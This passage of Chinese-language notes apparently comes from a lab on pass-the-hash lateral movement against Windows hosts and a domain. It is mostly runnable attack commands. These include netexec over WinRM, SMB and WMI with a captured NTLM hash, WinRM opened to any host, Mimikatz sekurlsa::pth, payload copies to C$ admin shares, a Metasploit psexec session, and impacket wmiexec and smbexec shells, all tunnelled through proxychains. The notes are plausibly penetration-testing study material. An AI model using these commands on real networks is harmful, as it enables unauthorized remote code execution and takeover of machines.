proxychains -q netexec winrm 10.10.10.20 -u administrator -H 161cff084477fe596a5db81874498a24 --local-auth -x whoami

# 开启 winrm 方法
winrm quickconfig
(shell winrm quickconfig -q)
# 允许远程主机访问及访问远程主机
# WinRM 只允许当前域用户或者处于本机 TrustedHosts 列表中的远程主机进行访问
winrm set winrm/config/client @{TrustedHosts="*"}


5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:10.0.1.143 /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\10.10.10.20\C$
dir \\10.10.10.20\C$
copy payload \\10.10.10.20\C$
net use z: \\10.10.10.20\C$
不知道为什么还是需要经过域的认证,域环境现在有问题无法使用
域环境 PTH
1. MSF
psexec
exploit/windows/smb/psexec 模块
setg proxies socks5:127.0.0.1:4080
use exploit/windows/smb/psexec
set smbdomain qiaoshen.local
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
set lport 4206
run
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 10.10.10.10
msf6 exploit(windows/smb/psexec) > set smbdomain qiaoshen.local
msf6 exploit(windows/smb/psexec) > set smbuser QiaoShen
msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
msf6 exploit(windows/smb/psexec) > run
2. Cobalt Strike
同理一样的,只是凭据选择的是 域环境的 用户凭据而已。
3. impacket
域环境出现了一些问题,无法实操截图。
wmiexec
# 执行 ipconfig 命令
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk "ipconfig"
# 获取 CMD_Shell
proxychains -q python3 wmiexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected] -codec gbk
smbexec
# 得到 CMD_Shell
proxychains -q python3 smbexec.py -hashes :161cff084477fe596a5db81874498a24 qiaoshen/[email protected]
# 执行命令
smbexec 不能直接执行命令。
4. netexec
域环境出现了一些问题,无法实操截图。
--local-auth 表示指定的为 主机自身的工作组,而非 域环境。
若是需要域环境,则取消掉 --local-auth,并可以通过 -d qiaoshen.local 指定域名称。
smb
proxychains -q netexec smb 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 -d qiaoshen.local --codec gbk
proxychains -q netexec smb 10.10.10.20 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
wmi
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local --codec gbk
proxychains -q netexec wmi 10.10.10.10 -u QiaoShen -H 161cff084477fe596a5db81874498a24 --d qiaoshen.local -x whoami --codec gbk
5. Mimikatz
当我们获得了内网中一台主机的 NTLM 哈希值,我们可以利用 mimikatz 对这个主机进行哈希传递攻击,执行命令成功后将会反弹回 cmd。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:QiaoShen /domain:qiaoshen.local /ntlm:161cff084477fe596a5db81874498a24" exit
net use \\dc\C$
dir \\dc\C$
copy payload \\dc\C$
net use z: \\DC\C$
需要经过域的认证,域环境现在有问题无法截图
3)PTT